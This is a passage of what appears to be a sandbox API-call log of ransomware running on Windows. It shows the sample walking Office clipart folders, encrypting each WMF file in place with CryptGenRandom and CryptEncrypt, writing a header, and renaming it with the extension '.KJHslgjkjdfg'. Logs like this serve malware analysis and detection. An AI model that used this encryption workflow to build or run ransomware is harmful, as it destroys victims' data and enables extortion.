dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.224] GetProcessHeap () returned 0x2a0000 [0185.224] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01157_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01157_.wmf.kjhslgjkjdfg")) returned 1 [0185.225] CloseHandle (hObject=0x114) returned 1 [0185.225] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf04c7b00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf04c7b00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1c74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01158_.WMF", cAlternateFileName="")) returned 1 [0185.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.227] GetProcessHeap () returned 0x2a0000 [0185.227] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.227] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.230] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.230] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.230] GetProcessHeap () returned 0x2a0000 [0185.230] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.230] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.231] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.231] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.231] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.231] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.231] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c74, lpOverlapped=0x0) returned 1 [0185.232] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c80, dwBufLen=0x1c80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c80) returned 1 [0185.232] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.233] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c80, lpOverlapped=0x0) returned 1 [0185.233] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.233] SetEndOfFile (hFile=0x114) returned 1 [0185.235] GetProcessHeap () returned 0x2a0000 [0185.236] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.236] GetProcessHeap () returned 0x2a0000 [0185.236] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01158_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01158_.wmf.kjhslgjkjdfg")) returned 1 [0185.237] CloseHandle (hObject=0x114) returned 1 [0185.237] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01161_.WMF", cAlternateFileName="")) returned 1 [0185.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.239] GetProcessHeap () returned 0x2a0000 [0185.239] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.239] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.242] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.242] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.242] GetProcessHeap () returned 0x2a0000 [0185.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.242] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.242] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.242] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.242] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.242] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.243] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.243] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.243] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.243] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.243] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1694, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1694, lpOverlapped=0x0) returned 1 [0185.244] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16a0) returned 1 [0185.244] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.244] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16a0, lpOverlapped=0x0) returned 1 [0185.244] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.244] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.244] SetEndOfFile (hFile=0x114) returned 1 [0185.247] GetProcessHeap () returned 0x2a0000 [0185.247] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.247] GetProcessHeap () returned 0x2a0000 [0185.247] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01161_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01161_.wmf.kjhslgjkjdfg")) returned 1 [0185.249] CloseHandle (hObject=0x114) returned 1 [0185.249] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f80000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x92f80000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xa04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01164_.WMF", cAlternateFileName="")) returned 1 [0185.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.250] GetProcessHeap () returned 0x2a0000 [0185.250] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.250] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.250] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.250] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.253] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.253] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.253] GetProcessHeap () returned 0x2a0000 [0185.253] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.253] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.253] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.253] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.253] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.253] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.253] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.253] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.253] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.254] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.254] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.254] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.254] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa04, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa04, lpOverlapped=0x0) returned 1 [0185.254] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa10, dwBufLen=0xa10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa10) returned 1 [0185.254] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.254] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa10, lpOverlapped=0x0) returned 1 [0185.254] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.254] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.254] SetEndOfFile (hFile=0x114) returned 1 [0185.257] GetProcessHeap () returned 0x2a0000 [0185.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.257] GetProcessHeap () returned 0x2a0000 [0185.257] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.kjhslgjkjdfg")) returned 1 [0185.258] CloseHandle (hObject=0x114) returned 1 [0185.259] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91c6d300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91c6d300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x70f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01293_.WMF", cAlternateFileName="")) returned 1 [0185.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.260] GetProcessHeap () returned 0x2a0000 [0185.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.260] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.260] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.260] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.260] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.260] GetProcessHeap () returned 0x2a0000 [0185.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.260] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.260] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.260] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.262] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.262] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.263] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.263] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.263] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.263] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.263] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.263] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x70f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x70f0, lpOverlapped=0x0) returned 1 [0185.264] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x70f0, dwBufLen=0x70f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x70f0) returned 1 [0185.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.267] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x70f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x70f0, lpOverlapped=0x0) returned 1 [0185.268] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.268] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x71c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.268] SetEndOfFile (hFile=0x114) returned 1 [0185.271] GetProcessHeap () returned 0x2a0000 [0185.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.271] GetProcessHeap () returned 0x2a0000 [0185.271] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.kjhslgjkjdfg")) returned 1 [0185.272] CloseHandle (hObject=0x114) returned 1 [0185.272] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1 [0185.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.274] GetProcessHeap () returned 0x2a0000 [0185.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) 